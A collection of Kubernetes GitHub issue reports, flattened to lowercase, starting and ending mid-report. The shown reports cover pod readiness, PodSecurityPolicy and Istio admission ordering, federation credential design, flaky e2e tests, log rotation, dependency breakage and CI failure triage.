docker-pullable://registry.cmp.com/divathena/div-java-9@sha256:0cc3681dc01a58f246d4aaa4c4fa0135502797ce159cdd02a09fcfa00bc71baa\r     laststate: {}\r     name: kafka-init-1\r     ready: true\r     restartcount: 0\r     state:\r       terminated:\r         containerid: docker://9d9da55b00b3ae4031056b31f314a73f6e27d78513011550c31eaf26b07f4322\r         exitcode: 0\r         finishedat: \ 2018-12-17t21:39:17z\ \r         reason: completed\r         startedat: \ 2018-12-17t21:38:06z\ \r   - containerid: docker://1f072ce52fa9955162e3d461a96ec869c8a1c21e78e7504e251b346c4606455f\r     image: registry.cmp.com/divathena/div-kafka:1.00.00-20181217-63\r     imageid: docker-pullable://registry.cmp.com/divathena/div-kafka@sha256:79305288c208e866d9a23711cdf2200a6c6c57bc96ecf3ff0d2b6417338be8cd\r     laststate: {}\r     name: kafka-init-2\r     ready: true\r     restartcount: 0\r     state:\r       terminated:\r         containerid: docker://1f072ce52fa9955162e3d461a96ec869c8a1c21e78e7504e251b346c4606455f\r         exitcode: 0\r         finishedat: \ 2018-12-17t21:39:20z\ \r         reason: completed\r         startedat: \ 2018-12-17t21:39:19z\ \r   phase: running\r   podip: 100.96.77.162\r   qosclass: burstable\r   starttime: \ 2018-12-17t21:27:20z\ \r    \r \r because of the above state, the pod is not part of the endpoint:\r    \r name:         kafka-1c-sit-ext\r namespace:    cmp-div-proj-sit\r labels:       app=ds-proj-kafka\r               chart=ds-proj-kafka-service-ext-1.2.0\r               heritage=tiller\r               pod_name=kafka-sit-c-1\r               release=sit-kafka-service-ext-1-c\r annotations:  <none>\r subsets:\r   addresses:          <none>\r   notreadyaddresses:  100.96.77.162\r   ports:\r     name    port  protocol\r     ----    ----  --------\r     rep     9091  tcp\r     broker  9093  tcp\r \r events:  <none>\r    \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.12.3   server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.3\ , gitcommit:\ 435f92c719f279a3a67808c80521ea17d5715c66\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t12:46:57z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }  \r \r - cloud provider or hardware configuration:\r aws\r \r - os  e.g. from /etc/os-release :\r centos linux release 7.5.1804  core \r \r - kernel  e.g.  uname -a  :\r linux ip-10-117-7-56.eu-west-1.compute.internal 3.10.0-862.14.4.el7.x86_64  1 smp wed sep 26 15:12:11 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r in-house\r \r - others\r same issue observed on a small number\r <!-- do not edit below this line -->\r 

which jobs are failing  :\r    ci-kubernetes-e2e-gci-gce-serial    testgrid  https://testgrid.k8s.io/sig-release-master-blocking gce-cos-master-serial     triage  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gci-gce-serial%24&test=kubelet%20should%20not%20restart%20containers%20across%20restart  \r    ci-kubernetes-e2e-gce-cos-k8sbeta-serial    testgrid  https://testgrid.k8s.io/sig-release-1.14-blocking gce-cos-1.14-serial     triage  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gce-cos-k8sbeta-serial%24&test=kubelet%20should%20not%20restart%20containers%20across%20restart  \r \r   which test s  are failing  :\r   sig-apps  daemonrestart  disruptive  kubelet should not restart containers across restart \r \r   reason for failure  :\r a timeout while deleting the namespace:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:152\r mar 13 23:56:13.750: couldn't delete ns: \ daemonrestart-7581\ : namespace daemonrestart-7581 was not deleted with limit: timed out waiting for the condition, pods remaining: 1  &errors.errorstring{s:\ namespace daemonrestart-7581 was not deleted with limit: timed out waiting for the condition, pods remaining: 1\ } \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:342\r    \r \r   anything else we need to know  \r   this test flakes about 10% of the time at the moment.\r \r  /remove-kind failing-test\r  / /milestone v1.14\r \r cc @smourapina @alejandrox1 @kacole2 @mortent

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r i have a psp in cluster which looks like\r    \r apiversion: policy/v1beta1\r kind: podsecuritypolicy\r metadata:\r   name: 50-default\r   annotations:\r     seccomp.security.alpha.kubernetes.io/allowedprofilenames: ' '\r spec:\r   privileged: false\r   allowprivilegeescalation: false\r   allowedcapabilities:\r   - ' '\r   volumes:\r   - ' '\r   hostnetwork: false\r   hostports:\r   - min: 0\r     max: 65535\r   hostipc: false\r   hostpid: false\r   runasuser:\r     rule: 'runasany'\r   selinux:\r     rule: 'runasany'\r   supplementalgroups:\r     rule: 'runasany'\r   fsgroup:\r     rule: 'runasany'\r    \r and i setup istio 1.1.0 with  default sidecar injection configuration  https://github.com/istio/istio/blob/1.1.0/install/kubernetes/helm/istio/templates/sidecar-injector-configmap.yaml .\r \r i expected pod to be created successfully because capabilities required by istio injected containers are satisfied by the psp.  the psp is bind to system:authenticated, so rs can use it \r \r but apiserver reject to create the pod due to psp validation failed.\r after analyse apiserver log,  i found it seems like:\r on admit phase of admission, psp plugin validate success and set default value for security context. then mutating plugin inject new containers without default value required by psp plugin. \r on validate phase, psp plugin find security context default value have been modified, so it  skips  https://github.com/kubernetes/kubernetes/blob/v1.12.3/plugin/pkg/admission/security/podsecuritypolicy/admission.go l268 . then psp plugin cannot find any psp for the pod to use and reject.\r after i modified istio injection configuration to set default values for security context to be consist with the psp, the pod can be created.\r \r it seems psp plugin should run after mutating plugin.   current order  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubeapiserver/options/plugins.go l62  \r \r   what you expected to happen  :\r \r if a pod was injected by istio and security context  include containers injected by istio  satisfies psp, it should not being rejected by psp plugin.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r kubectl describe rs\r \r ! image  https://user-images.githubusercontent.com/5698045/55169209-55ac6980-51af-11e9-92ac-c70fbf9b9adf.png \r \r api server log  pls ignore 00-privileged, the pod cannot use it \r from log we can see \r    \r i0326 17:59:27.305401       1 handler.go:153  kube-aggregator: post \ /api/v1/namespaces/bookinfo/pods\  satisfied by nongorestful\r i0326 17:59:27.305420       1 pathrecorder.go:247  kube-aggregator: \ /api/v1/namespaces/bookinfo/pods\  satisfied by prefix /api/\r i0326 17:59:27.305435       1 handler.go:143  kube-apiserver: post \ /api/v1/namespaces/bookinfo/pods\  satisfied by gorestful with webservice /api/v1\r i0326 17:59:27.305904       1 admission.go:210  getting pod security policies for pod   generate: ws-5d5864475- \r i0326 17:59:27.306463       1 rbac.go:118  rbac deny: user \ system:serviceaccount:bookinfo:default\  groups  \ system:serviceaccounts\  \ system:serviceaccounts:bookinfo\   cannot \ use\  resource \ podsecuritypolicies.policy\  named \ 00-privileged\  in namespace \ bookinfo\ \r i0326 17:59:27.306551       1 rbac.go:118  rbac deny: user \ system:serviceaccount:bookinfo:default\  groups  \ system:serviceaccounts\  \ system:serviceaccounts:bookinfo\   cannot \ use\  resource \ podsecuritypolicies.extensions\  named \ 00-privileged\  in namespace \ bookinfo\ \r i0326 17:59:27.306672       1 rbac.go:118  rbac deny: user \ system:serviceaccount:kube-system:replicaset-controller\  groups  \ system:serviceaccounts\  \ system:serviceaccounts:kube-system\  \ system:authenticated\   cannot \ use\  resource \ podsecuritypolicies.policy\  named \ 00-privileged\  in namespace \ bookinfo\ \r i0326 17:59:27.306741       1 rbac.go:118  rbac deny: user \ system:serviceaccount:kube-system:replicaset-controller\  groups  \ system:serviceaccounts\  \ system:serviceaccounts:kube-system\  \ system:authenticated\   cannot \ use\  resource \ podsecuritypolicies.extensions\  named \ 00-privileged\  in namespace \ bookinfo\ \r i0326 17:59:27.306959       1 rbac.go:118  rbac deny: user \ system:serviceaccount:bookinfo:default\  groups  \ system:serviceaccounts\  \ system:serviceaccounts:bookinfo\   cannot \ use\  resource \ podsecuritypolicies.policy\  named \ 50-default\  in namespace \ bookinfo\ \r i0326 17:59:27.307003       1 rbac.go:118  rbac deny: user \ system:serviceaccount:bookinfo:default\  groups  \ system:serviceaccounts\  \ system:serviceaccounts:bookinfo\   cannot \ use\  resource \ podsecuritypolicies.extensions\  named \ 50-default\  in namespace \ bookinfo\ \r i0326 17:59:27.307032       1 admission.go:135  pod   generate: ws-5d5864475-  in namespace bookinfo validated against provider 50-default\r i0326 17:59:27.317665       1 round_trippers.go:405  post https://istio-sidecar-injector.istio-system.svc:443/inject?timeout=30s 200 ok in 4 milliseconds\r i0326 17:59:27.320002       1 admission.go:210  getting pod security policies for pod ws-5d5864475-n76c4  generate: ws-5d5864475- \r i0326 17:59:27.320960       1 rbac.go:118  rbac deny: user \ system:serviceaccount:bookinfo:default\  groups  \ system:serviceaccounts\  \ system:serviceaccounts:bookinfo\   cannot \ use\  resource \ podsecuritypolicies.policy\  named \ 00-privileged\  in namespace \ bookinfo\ \r i0326 17:59:27.321019       1 rbac.go:118  rbac deny: user \ system:serviceaccount:bookinfo:default\  groups  \ system:serviceaccounts\  \ system:serviceaccounts:bookinfo\   cannot \ use\  resource \ podsecuritypolicies.extensions\  named \ 00-privileged\  in namespace \ bookinfo\ \r i0326 17:59:27.321071       1 rbac.go:118  rbac deny: user \ system:serviceaccount:kube-system:replicaset-controller\  groups  \ system:serviceaccounts\  \ system:serviceaccounts:kube-system\  \ system:authenticated\   cannot \ use\  resource \ podsecuritypolicies.policy\  named \ 00-privileged\  in namespace \ bookinfo\ \r i0326 17:59:27.321109       1 rbac.go:118  rbac deny: user \ system:serviceaccount:kube-system:replicaset-controller\  groups  \ system:serviceaccounts\  \ system:serviceaccounts:kube-system\  \ system:authenticated\   cannot \ use\  resource \ podsecuritypolicies.extensions\  named \ 00-privileged\  in namespace \ bookinfo\ \r i0326 17:59:27.321125       1 admission.go:175  unable to validate pod ws-5d5864475-n76c4  generate: ws-5d5864475-  in namespace bookinfo against any pod security policy:   \r i0326 17:59:27.321545       1 wrap.go:42  post /api/v1/namespaces/bookinfo/pods:  27.482504ms  403  hyperkube/v1.12.3  linux/amd64  kubernetes/435f92c/system:serviceaccount:kube-system:replicaset-controller 192.168.21.99:14504 \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12.3\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

currently scrips depend on  cluster/gce/util.sh  to get various environmental variables set. it shouldn't be to hard to decouple it, but it requires some work.  cc @fgrzadkowski @timothysc @quinton-hoole

i would expect the output to be json. @kubernetes/kubectl   $ kubectl get no -o jsonpath=\ {.items}\     map kind:node apiversion:v1 metadata:map uid:58f92fa4-81c3-11e5-8109-42010af0000b resourceversion:3018 creationtimestamp:2015-11-03t00:39:31z labels:map kubernetes.io/hostname:k-5-master  name:k-5-master selflink:/api/v1/nodes/k-5-master  spec:map podcidr:10.244.0.0/24 externalid:18000990123038728740 providerid:gce://mikedanese-k8s/us-central1-b/k-5-master unschedulable:true  status:map nodeinfo:map machineid: systemuuid:5a5b3748-a867-eba7-ec86-23feaa14660d bootid:6e05e906-0ca4-4ee3-927e-a36798084cb6 kernelversion:3.16.0-0.bpo.4-amd64 osimage:debian gnu/linux 7  wheezy  containerruntimeversion:docker://1.8.3 kubeletversion:v1.2.0-alpha.2.626+8fc36e6068334a-dirty kubeproxyversion:v1.2.0-alpha.2.626+8fc36e6068334a-dirty  capacity:map cpu:2 memory:7679608ki pods:40  conditions: map type:ready status:true lastheartbeattime:2015-11-03t02:38:07z lasttransitiontime:2015-11-03t00:39:31z reason:kubeletready message:kubelet is posting ready status  map type:outofdisk status:false lastheartbeattime:2015-11-03t02:38:07z lasttransitiontime:2015-11-03t00:39:31z reason:kubelethassufficientdisk message:kubelet has sufficient disk space available   addresses: map type:internalip address:10.240.0.11  map type:externalip address:104.197.106.102   daemonendpoints:map kubeletendpoint:map port:10250     map spec:map podcidr:10.244.2.0/24 externalid:14275614848584897735 providerid:gce://mikedanese-k8s/us-central1-b/k-5-minion-0jkl  status:map daemonendpoints:map kubeletendpoint:map port:10250   nodeinfo:map osimage:debian gnu/linux 7  wheezy  containerruntimeversion:docker://1.8.3 kubeletversion:v1.2.0-alpha.2.626+8fc36e6068334a-dirty kubeproxyversion:v1.2.0-alpha.2.626+8fc36e6068334a-dirty machineid: systemuuid:0eaf030d-b18b-57c9-9616-4008f51deaf4 bootid:84fbf71d-959d-46e5-8cd2-8a62859508c0 kernelversion:3.16.0-0.bpo.4-amd64  capacity:map cpu:2 memory:7679608ki pods:40  conditions: map type:ready status:true lastheartbeattime:2015-11-03t02:38:07z lasttransitiontime:2015-11-03t00:40:52z reason:kubeletready message:kubelet is posting ready status  map type:outofdisk status:false lastheartbeattime:2015-11-03t02:38:07z lasttransitiontime:2015-11-03t00:40:15z reason:kubelethassufficientdisk message:kubelet has sufficient disk space available   addresses: map type:internalip address:10.240.0.32  map address:130.211.149.36 type:externalip    kind:node apiversion:v1 metadata:map uid:73548e00-81c3-11e5-8109-42010af0000b resourceversion:3019 creationtimestamp:2015-11-03t00:40:15z labels:map kubernetes.io/hostname:k-5-minion-0jkl  name:k-5-minion-0jkl selflink:/api/v1/nodes/k-5-minion-0jkl   map kind:node apiversion:v1 metadata:map name:k-5-minion-1mq6 selflink:/api/v1/nodes/k-5-minion-1mq6 uid:6dfcefcc-81c3-11e5-8109-42010af0000b resourceversion:3017 creationtimestamp:2015-11-03t00:40:06z labels:map kubernetes.io/hostname:k-5-minion-1mq6   spec:map podcidr:10.244.1.0/24 externalid:2970383975702131324 providerid:gce://mikedanese-k8s/us-central1-b/k-5-minion-1mq6  status:map conditions: map message:kubelet is posting ready status type:ready status:true lastheartbeattime:2015-11-03t02:38:05z lasttransitiontime:2015-11-03t00:40:42z reason:kubeletready  map lastheartbeattime:2015-11-03t02:38:05z lasttransitiontime:2015-11-03t00:40:06z reason:kubelethassufficientdisk message:kubelet has sufficient disk space available type:outofdisk status:false   addresses: map type:internalip address:10.240.0.31  map type:externalip address:108.59.86.162   daemonendpoints:map kubeletendpoint:map port:10250   nodeinfo:map kernelversion:3.16.0-0.bpo.4-amd64 osimage:debian gnu/linux 7  wheezy  containerruntimeversion:docker://1.8.3 kubeletversion:v1.2.0-alpha.2.626+8fc36e6068334a-dirty kubeproxyversion:v1.2.0-alpha.2.626+8fc36e6068334a-dirty machineid: systemuuid:b2c51ec4-7cb7-62de-3005-40d3c3c4aa7e bootid:84635e0a-b6b8-4c85-b5aa-354b0f93a356  capacity:map memory:7679608ki pods:40 cpu:2    map kind:node apiversion:v1 metadata:map labels:map kubernetes.io/hostname:k-5-minion-j8s2  name:k-5-minion-j8s2 selflink:/api/v1/nodes/k-5-minion-j8s2 uid:74dff725-81c3-11e5-8109-42010af0000b resourceversion:3016 creationtimestamp:2015-11-03t00:40:18z  spec:map providerid:gce://mikedanese-k8s/us-central1-b/k-5-minion-j8s2 podcidr:10.244.3.0/24 externalid:15940688070743728911  status:map daemonendpoints:map kubeletendpoint:map port:10250   nodeinfo:map systemuuid:4febab9c-f20c-1eae-939d-7cf3e8a98e34 bootid:70059938-8e08-4202-a2c2-4b6658e0f88c kernelversion:3.16.0-0.bpo.4-amd64 osimage:debian gnu/linux 7  wheezy  containerruntimeversion:docker://1.8.3 kubeletversion:v1.2.0-alpha.2.626+8fc36e6068334a-dirty kubeproxyversion:v1.2.0-alpha.2.626+8fc36e6068334a-dirty machineid:  capacity:map cpu:2 memory:7679608ki pods:40  conditions: map message:kubelet is posting ready status type:ready status:true lastheartbeattime:2015-11-03t02:38:02z lasttransitiontime:2015-11-03t00:40:56z reason:kubeletready  map lastheartbeattime:2015-11-03t02:38:02z lasttransitiontime:2015-11-03t00:40:18z reason:kubelethassufficientdisk message:kubelet has sufficient disk space available type:outofdisk status:false   addresses: map type:internalip address:10.240.0.33  map address:104.154.40.190 type:externalip

i've seen many users find it confusing. it seems that just documenting ideas about  .spec.revisionhistorylimit  isn't enough. the help text of  --show-all  may be confusing too   when printing, show all resources  default hide terminated pods.   .   an example of user confusion: https://github.com/kubernetes/kubernetes/issues/13621 issuecomment-229171096  how may we make this more intuitive in terms of: 1. why are there 0 replica replicasets sitting in my system? 2. why aren't  --show-all  reflecting this? 3. the relationship between old replicaset and rollback  revision history ?  the first step could be improving related  kubectl  commands, for example, pr https://github.com/kubernetes/kubernetes/pull/27510 is hiding 0 replica rses by default. more thoughts are welcome.   @kubernetes/kubectl @kubernetes/deployment

our initial control plane bootstrap and cluster registration mechanisms just uploaded the credentials of the user who ran the respective scripts to the cluster hosting the federation control plane and used those user credentials to communicate with the registered clusters. uploading and using a single user's credentials for cluster-wide operations is a bad idea and many people have voiced their concerns about this. while  kubefed  did not cause any regression here, it perpetuated the mistake. \r \r @nikhiljindal, @erictune and i discussed a bunch of potential solutions:\r 1. make each cluster in the federation recognize the public keys of all the clusters in the federation. the public key is part of the key-pair used to mint service account tokens in the respective clusters. this way each cluster can authenticate the token minted by the any other cluster in the federation. with this setup, the federation control plane can use the default service account in its namespace on any host cluster to make calls to the federated clusters.\r 2. teach federation control plane how to create its own service accounts and mint its own tokens. then make all the clusters in the federation recognize federation control plane’s public key. this way federation control plane can make calls to the federated clusters using its own service account and clusters just accept that.\r 3. every time a cluster is joined to the federation, create a new service account in the  federation-system  namespace of the cluster being joined. then wait for the token corresponding to the service account to appear and make that token available to the federation control plane in the host cluster, i.e. make it available as a secret in the host cluster’s  federation-system  namespace by essentially copying the token secret from the joining cluster to the host cluster.\r \r \r all the three proposed solutions have to deal with key rotations. we don’t have a good story around key rotations even in the single cluster kubernetes world today. so irrespective of the solution we choose from the above three proposals, we are going to wait for the key rotation support to mature in the kubernetes land before implementing it in federation. for now we are going to ask the federation administrators to update the keys manually when they change.\r \r the problem with the first two approaches is that the individual cluster’s recognized public key list must be updated each time a cluster is joined to the federation. since this is done by passing the  --service-account-key-file  flag to the kube-apiserver, kube-apiserver must be restarted to update this flag value. this leads to a poor user experience. and on some installations such as gke it is impossible to update the flags or restart the api server today. this is even more aggravated in the case of first solution above because the users have to restart all the clusters every time a new cluster is added to the federation. so given these downsides of the first two solutions, we are left with the third.\r \r  kubefed  should implement the solution proposed in  3  above.\r \r \r cc @kubernetes/sig-federation-bugs @nikhiljindal @liggitt @erictune @irfanurrehman @shashidharatd

failure cluster  3002fdd5a03b6a3ce85d  https://go.k8s.io/triage 3002fdd5a03b6a3ce85d        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:221 expected     <bool>: false to equal     <bool>: true /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:160           failure cluster statistics: 2 tests failed,    20 jobs failed,    101 builds failed. failure stats cover 1 day time range '31 aug 2017 20:30 utc' to '1 sep 2017 20:30 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  sig-scheduling  schedulerpredicates  serial  validates local ephemeral storage resource limits of pods that are allowed to run  conformance  | 20 | |  k8s.io  equivalencecache  serial  validates pod affinity works properly when new replica pod is scheduled | 1 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-kubeadm-gce | 42 |  1 sep 2017 19:06 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kubeadm-gce/5464  | | ci-kubernetes-e2e-kops-aws-serial | 6 |  1 sep 2017 14:43 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws-serial/1376  | | ci-kubernetes-e2e-gce-cosdev-k8sbeta-serial | 4 |  1 sep 2017 15:04 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-cosdev-k8sbeta-serial/295  |   current status  https://go.k8s.io/triage 3002fdd5a03b6a3ce85d

i have clonned the rancher-cloud-controller-manager repo and changed the main to point to  openstack . then, i executed  glide  and built the binary. i ran it in the same machine of my master cluster with: \r  /openstack-cloud-controller-manager --cloud-config cloud.conf --kubeconfig /etc/kubernetes/admin.conf -v=3 \r i was able to execute it and the cloud provider seemed to work fine in verstion 1.7. however, this version doesn't have what i want, which is exposing the services with floating ips. then, i tried to executed the version from master. but when i see the help of the new  cloud-controller-manager , all i see is:\r \r     \r       --alsologtostderr                         log to standard error as well as files\r       --cloud-provider-gce-lb-src-cidrs cidrs   cidrs opened in gce firewall for lb traffic proxy & health checks  default 209.85.204.0/22,130.211.0.0/22,35.191.0.0/16,209.85.152.0/22 \r       --log-backtrace-at tracelocation          when logging hits line file:n, emit a stack trace  default :0 \r       --log-dir string                          if non-empty, write log files in this directory\r       --log-flush-frequency duration            maximum number of seconds between log flushes  default 5s \r       --logtostderr                             log to standard error instead of files  default true \r       --stderrthreshold severity                logs at or above this threshold go to stderr  default 2 \r   -v, --v level                                 log level for v logs\r       --vmodule modulespec                      comma-separated list of pattern=n settings for file-filtered logging\r    \r \r \r so, i'm not sure on how the new cloud-controller-manager consumes the kubeconfig and cloud.conf files \r \r this is how my cloud.conf looks like:\r     global \r username=user\r password=pass\r auth-url=https://ip:5000/v3\r tenant-id=c869168a828847f39f7f06edd7305637\r domain-id=2a73b8f597c04551a0fdc8e95544be8a\r  blockstorage \r bs-version=v2\r  loadbalancer \r subnet-id=6937f8fa-858d-4bc9-a3a5-18d2c957166a\r    \r \r  \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.4\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - install tools: kubeadm\r

is this a bug report or feature request?  :\r  \r   what happened  :\r when deploying https://github.com/istio/istio/blob/master/install/kubernetes/istio.yaml on minikube, i get the following errors:\r \r   unable to recognize \ install/kubernetes/istio.yaml\ : no matches for config.istio.io/, kind=attributemanifest \r \r for each of the custom resources specified in https://github.com/istio/istio/blob/master/install/kubernetes/istio.yaml \r \r running  kubernetes get crd  returns:\r    \r name                                  age\r attributemanifests.config.istio.io    <invalid>\r    \r \r after several seconds,  kubernetes get crd  returns valid age for the crds. then the custom resources are added successfully.\r \r   what you expected to happen  :\r i expect that it should be explicitly documented: can custom resources be added immediately after their crds? or the user should wait until  kubernetes get crd  returns valid age.\r \r   how to reproduce it  as minimally and precisely as possible   :\r  deploy https://github.com/istio/istio/blob/master/install/kubernetes/istio.yaml on a minikube with limited resources, so it will take time for the crds to become valid.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.0\r - cloud provider or hardware configuration: minikube 0.23.0\r - os  e.g. from /etc/os-release : minikube on virtual box on mac os\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

tl;dr: we want to allow kubelet to rotate the container stdout/stderr logs, and add a cri call to ask the runtime to reopen the log file.\r \r kubelet decides the log directory structure and passes to the runtime the path where container log should be stored. given the level of knowledge and control kubelet has, it is currently the best candidate to rotate the logs  vs. runtime or a separate daemon . the detailed evaluation is in the  proposal doc  https://docs.google.com/document/d/1oqe8dfilln7cgyrrdholmsgogliotpazq6-k3068ncg/edit?usp=sharing .\r \r imo, the initial version should target a simple policy of size limit per file. we can iterate and add more advanced features based on disk management in the future. the stretch goal for this release will be supporting reading logs   kubectl logs   from rotated log files.\r \r as for the docker integration  i.e.,  --container-runtime=docker   that does not fully implement cri logging, kubelet should skip log rotation.\r \r /cc @kubernetes/sig-node-feature-requests @dchen1107 @random-liu @mrunalp @resouer @feiskyer

k8s 集群中健康监测开启，总是自动重启pod\r 无法看到详细日志是什么原因引起的，寻求帮助，谢谢\r 健康监测是否有详细日志说明\r \r

folks who are working on  golang.org/x/net  moved code previously in  \ lex/httplex\   to  \ http/httpguts\  , this has a cascading problem for us since some of our dependencies need older versions of  golang.org/x/net \r \r    \r  dims@dims-mac 07:56  ~/go/src/k8s.io/kubernetes ⟩ hack/run-in-gopath.sh hack/godep-save.sh\r +++  0222 07:56:39  ensuring prereqs\r +++  0222 07:56:39  installing godep version v80-k8s-r1\r +++  0222 07:56:40  installed /users/dims/go/src/k8s.io/kubernetes/_output/local/bin/godep\r +++  0222 07:56:40  running godep save - this might take a while\r godep: package  golang.org/x/net/lex/httplex  not found\r !!! error in hack/godep-save.sh:77\r   error in hack/godep-save.sh:77. 'gopath=\ ${gopath}:$ pwd /staging\  ${kube_godep:?} save \ ${required_bins @ }\ ' exited with status 1\r call stack:\r   1: hack/godep-save.sh:77 main ... \r exiting with status 1\r !!!  0222 08:03:43  _tmp/godep-save.28661/vendor exists, restoring it\r !!!  0222 08:03:43  _tmp/godep-save.28661/godeps exists, restoring it\r !!! error in hack/run-in-gopath.sh:33\r   error in hack/run-in-gopath.sh:33. '\ ${@}\ ' exited with status 1\r call stack:\r   1: hack/run-in-gopath.sh:33 main ... \r exiting with status 1\r

there are two stochastic failures that can be triggered in density tests.   s: \ error: pod my-hostname-density2300-121bed58-f291-11e4-9498-ecf4bbc71cuhnfi: container my-hostname-density2300-121bed58-f291-11e4-9498-ecf4bbc71c1c was found to have terminated 1 times\ ,   and    s: \ controller my-short-lived-podc4b4f7ef-f2d6-11e4-ba82-ecf4bbc71c1c: no pods submitted for the last 5 checks\ ,   we can loosen both of these up     i.e. change the \ 5 checks\  to \ 10 checks\ , change the \ 1 times\  to,say, \ 10 times\      so that in large clusters or cloud test environments they don't trigger failures.  however, that might not be the best thing.  maybe these failures are a good thing - and we should just understand that e2e's sometimes fail if network or hardware has a minor blip.    in either case, i think a good header comment for denstiy.go might be in order, explaining the whole thing

when proxying to the node that is not responsive proxy hangs indefinitely, comment: https://github.com/kubernetes/kubernetes/issues/21313 issuecomment-189173573  resourcegatherer uses some fancy tooling together with proxy, but metricsgrabber don't - it's just plain proxy call, which also hangs.  @kubernetes/sig-api-machinery

currently, registry-based api list calls return full objects, but other api list calls, such as on /operations, don't:      {   \ kind\ : \ serveroplist\ ,   \ creationtimestamp\ : null,   \ apiversion\ : \ v1beta1\ ,   \ items\ :       {       \ id\ : \ 15\ ,       \ creationtimestamp\ : null     },     {       \ id\ : \ 16\ ,       \ creationtimestamp\ : null     },     {       \ id\ : \ 17\ ,       \ creationtimestamp\ : null     },     }      all api list calls should have consistent behavior, one way or the other.  we could potentially support both behaviors, selected by url parameter.  probably we can only make this change for v1beta3   1519 .

filing this issue to discuss the design for \ per-user cluster authentication, authorization and audit logging\  in federation. ref https://github.com/kubernetes/features/issues/73\r \r problems that we want to solve:\r - audit: in federation audit logs, we know which user sent a particular request to federation control plane. but in kubernetes audit logs, we do not get to know that a particular kubernetes request was in response to what federation request and by which federation user.\r - authorization: when federation control plane receives a request, we authorize the request in federation control plane, but we do not validate that the user has authority in underlying clusters.\r - authentication: similar to above. when federation control plane receives a request, we authenticate the request in federation control plane, but we do not know the corresponding authn credentials for that user in each of the underlying clusters. federation controllers use common credentials for all operations in each underlying cluster.\r \r cc @kubernetes/sig-federation-feature-requests  @kubernetes/sig-auth-feature-requests \r @quinton-hoole let me know if i missed anything.\r

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-verify-master/556/  run so broken it didn't make junit output!

change the certificate manager check for rotation as the expiration threshold of the managed certificate approaches approaches instead of at regular intervals.\r \r the change should go in  certificate_manager.go  https://github.com/kubernetes/kubernetes/blob/46b20acba22d9ad577bce74cc3327f8bf4aa89d4/pkg/kubelet/certificate/certificate_manager.go l148 \r \r follow up to a review comment in https://github.com/kubernetes/kubernetes/pull/41912\r

e.g.\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/46700/pull-kubernetes-e2e-gce-etcd3/33214/\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/46700/pull-kubernetes-kubemark-e2e-gce/32814/\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/46696/pull-kubernetes-kubemark-e2e-gce/32813/\r \r    \r w0531 10:20:34.781  error:  gcloud.compute.networks.create  could not fetch resource:\r w0531 10:20:34.782   - quota 'subnetworks' exceeded.  limit: 100.0\r    \r

failure cluster  383b71a24c3d619f44dd  https://go.k8s.io/triage 383b71a24c3d619f44dd        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:119 expected error:     < errors.errorstring | 0xc4203c6280>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:188           failure cluster statistics: 58 tests failed,    24 jobs failed,    122 builds failed. failure stats cover 1 day time range '28 jun 2017 22:38 utc' to '29 jun 2017 22:38 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: http  conformance  | 5 | |  k8s.io  configmap optional updates should be reflected in volume  conformance   volume  | 4 | |  k8s.io  pods should cap back-off at maxcontainerbackoff  slow  | 4 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-slow | 44 |  29 jun 2017 21:52 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-slow/7023  | | ci-kubernetes-e2e-gci-gke-slow | 42 |  29 jun 2017 21:28 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-slow/7761  | | ci-kubernetes-e2e-gke-gci-1-5-gci-1-7-upgrade-cluster-new | 5 |  29 jun 2017 20:15 utc  